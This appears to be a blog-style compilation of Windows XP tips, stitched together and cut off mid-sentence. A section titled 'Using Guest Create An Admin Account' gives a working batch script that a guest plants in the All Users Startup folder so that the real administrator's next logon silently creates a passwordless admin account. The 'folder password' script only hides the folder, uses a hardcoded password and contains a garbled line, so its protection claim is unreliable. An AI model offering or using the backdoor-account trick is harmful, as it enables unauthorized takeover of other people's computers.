Password Protect Your Folder Without Using Any Software

The best part is that you don’t need any special software to do this. Just plain old Notepad is all that you need.

Here is the code that you need:

cls
@ECHO OFF
title Folder Personal
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Personal goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Personal “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK

echo Enter password to Unlock folder
set/p “pass=>”
if NOT %pass%==pwd123 HERE goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Personal
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Personal
echo Personal created successfully
goto End
:End

Now here is what you need to do:

Just copy the above code and paste it into Notepad. Save it by giving it any name you choose. Assuming, the file is called secret.txt, change the extension to ‘.bat‘ so that the new name becomes secret.bat. What you get is a batch file. You could actually save one

Using Guest Create An Admin Account

Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)

@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Step 3: There is no step 3.

The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.

Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.

Disable Windows XP threats easily with xpy

xpy is a small tool which disables the default Windows XP threats thereby improving the overall security of the system.

Disable Windows XP Threats


It order to disable some of the threats, it can also disable the Windows and some of its components ability to communicate with Microsoft servers. You can disable questionable services, tweak Internet Explorer and Windows Media Player settings, remove Windows Messenger, and improve security.

xpy is very powerful. The only problem with xpy you are going to face if you don’t exactly know what you want. I should say that you must not blindly enable all settings. It will make your system too secure that even you’ll have problems getting out.

The only recommendation I can give is not applying settings without vague knowledge of what you’re doing. Not every setting is desired in every environment. It is no tool for
